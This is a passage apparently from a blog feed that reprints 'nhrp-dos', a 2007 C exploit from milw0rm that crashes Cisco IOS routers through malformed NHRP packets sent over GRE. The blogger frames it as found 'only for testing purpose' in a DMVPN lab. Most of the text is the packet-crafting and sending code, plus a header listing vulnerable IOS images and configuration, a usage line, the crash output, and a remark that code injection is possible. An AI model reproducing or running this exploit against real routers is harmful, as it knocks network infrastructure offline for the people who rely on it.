&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.length   &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0xFFFF&lt;/span&gt;);        &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP length */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Checksum can be incorrect */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.checksum &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP checksum */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.mpoa_ext &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x0034&lt;/span&gt;);        &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP MPOA ext */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.version  &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP version */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.type     &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP type */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.nbma_addr&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP NBMA t/l addr */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.nbma_sub &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP NBMA t/l sub */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP mandatory part */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.mand.src_len   &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP src proto len */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.mand.dst_len   &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP dst proto len */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.mand.flags     &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x8000&lt;/span&gt;);        &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP flags */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.mand.request_id  &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htonl&lt;/span&gt;(nhrp_req_id); &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP request ID */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.mand.client_nbma &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; src_ip;             &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP client addr */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.mand.client_nbma_sub &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;              &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP client sub  */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.mand.client_pro_addr &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;              &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP client proto */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP client information entries (CIE) */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.cie.code       &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP code */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.cie.pref_len   &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xFF&lt;/span&gt;;                 &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP prefix len */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.cie.reserved   &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x0000&lt;/span&gt;;               &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP reserved */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.cie.mtu        &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;1514&lt;/span&gt;);          &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP mtu */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.cie.holding_time &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;30&lt;/span&gt;);          &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP holding time */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.cie.len_client &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP t/l client */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.cie.len_client_sub &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP t/l sub */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.cie.len_client_pro &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP t/l pro */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.cie.preference &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP preference */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.cie.ext        &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x8003&lt;/span&gt;);        &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP C/U/Type (ext)*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Copy the IPv4 header to the buffer */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;memcpy&lt;/span&gt;(buf, (&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;ip_hdr, &lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(ip_hdr));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Copy the GRE header to the buffer */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;memcpy&lt;/span&gt;(buf &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; IP_HDR_SIZE, (&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;gre_hdr, &lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(gre_hdr));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Copy the NHRP header to the buffer */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;memcpy&lt;/span&gt;(buf &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; IP_HDR_SIZE &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; GRE_SIZE, (&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;nhrp_hdr,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(nhrp_hdr));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Fix some BSD bugs */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#ifdef _BSD
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;iphdr &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; ip &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;) buf;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;iphdr&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;ip_len &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ntohs&lt;/span&gt;(iphdr&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;ip_len);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;iphdr&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;ip_off &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ntohs&lt;/span&gt;(iphdr&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;ip_off);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#endif
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;memset&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;sin, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; sockaddr_in));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sin.sin_family &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; AF_INET;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sin.sin_addr.s_addr &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; iphdr&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;ip_dst.s_addr;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;printf&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;nhrp-dos (c) by Martin Kluge &amp;lt;mk@elxsi.de&amp;gt;, 2007&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;printf&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;------------------------------------------------&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;printf&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Sending DoS packet...&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Send the packet */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;bytes &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;sendto&lt;/span&gt;(fd, buf, IP_HDR_SIZE &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; GRE_SIZE &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; NHRP_HDR_SIZE, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; sockaddr &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;sin, &lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; sockaddr));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;printf&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;DONE (%d bytes)&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;, bytes);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Free the buffer */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;free&lt;/span&gt;(buf);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Return number of bytes */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt;(bytes);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// milw0rm.com [2007-08-09]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;a href=&#34;https://www.deepreflect.net/wp-content/uploads/2009/09/NHRP_dos.c&#34;&gt;Download&lt;/a&gt;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I&rsquo;m working on experimental wide lab network based on DMVPN/NBMA, with some friends, dynamic multipoing vpn is seem a great solution, looks like a cheap frame relay infrastructure over internet.</p>
<p>Now the problem: what about security?
especially in dynamical wan ip address envivorment durin spoke-spoke communication, is impossible define security rule on GRE level.</p>
<p>Solution:
I&rsquo;m thinking about&hellip;</p>
<p>Only for testing purpose, I find this exploit:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">/******************************************************************************/</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* nhrp-dos - Copyright by Martin Kluge, &lt;mk@elxsi.de&gt;                        */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Feel free to modify this code as you like, as long as you include the      */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* above copyright statement.                                                 */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Please use this code only to check your OWN cisco routers.                 */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Cisco bug ID: CSCin95836                                                   */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* The Next-Hop-Resolution Protocol (NHRP) is defined in RFC2332. It is used  */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* by a source host/router connected to a Non-Broadcast-Multi-Access (NBMA)   */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* subnetwork to determine the internetworking layer address and NBMA         */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* subnetwork addresses of the NBMA next hop towards the destination.         */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* NHRP is often used for dynamic multipoint VPNs (DMVPN) in combination with */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* IPSEC.                                                                     */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* URLs:                                                                      */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* - [RFC2332/NHRP]       http://rfc.net/rfc2332.html                         */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* - [RFC1701/GRE]        http://rfc.net/rfc1701.html                         */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* - [DMVPNs with Cisco]  http://www.cisco.com/en/US/tech/tk583/tk372/techno  */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                        logies_white_paper09186a008018983e.shtml            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* This code was only tested on FreeBSD and Linux, no warranty is or will be  */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* provided.                                                                  */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Vulnerable images (tested):                                                */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  - c7100-jk9o3s-mz.123-12e.bin                                             */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  - c7200-jk8o3s-mz.122-40.bin                                              */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  - c3640-js-mz.122-15.T17.bin                                              */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* (and many other IOS versions on different platforms)                       */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Vulnerable configuration on cisco IOS:                                     */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* interface Tunnel0                                                          */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  ip address 10.0.0.1 255.255.255.128                                       */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  no ip redirects                                                           */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  no ip proxy-arp                                                           */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  ip mtu 1464                                                               */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  ip nhrp authentication mysecret                                           */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  ip nhrp network-id 1000                                                   */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  ip nhrp map multicast dynamic                                             */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  ip nhrp server-only                                                       */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  ip nhrp holdtime 30                                                       */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  tunnel source FastEthernet0/0                                             */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  tunnel mode gre multipoint                                                */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  tunnel key 123456789                                                      */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* This exploit works even if &#34;ip nhrp authentication&#34; is configured on the   */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* cisco router. You can also specify a GRE key (use 0 to disable this        */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* feature) if the GRE tunnel is protected. You don&#39;t need to know the        */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* NHRP network id (or any other configuration details, except the GRE key if */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* it is set on the target router).                                           */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* NOTE: The exploit only seems to work, if a NHRP session between the target */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*       router and at least one client is established.                       */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Code injection is also possible (thanks to sky for pointing this out), but */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* it is not very easy and depends heavily on the IOS version / platform.     */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Example:                                                                   */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* root@elxsi# ./nhrp-dos vr0 x.x.x.x 123456789                               */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Router console output:                                                     */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* -Traceback= 605D89A0 605D6B50 605BD974 605C08CC 605C2598 605C27E8          */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* $0 : 00000000, AT : 62530000, v0 : 62740000, v1 : 62740000                 */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* &lt;snip&gt;                                                                     */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* EPC : 605D89A0, ErrorEPC : BFC01654, SREG : 3400FF03                       */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Cause 00000024 (Code 0x9): Breakpoint exception                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Writing crashinfo to bootflash:crashinfo_20070321-155011                   */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* === Flushing messages (16:50:12 CET Wed Mar 21 2007) ===                   */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Router reboots or sometimes hangs ;)                                       */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Workaround: Disable NHRP ;)                                                */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* I&#39;d like to thank the Cisco PSIRT and Clay Seaman-Kossmey for their help   */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* regarding this issue.                                                      */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
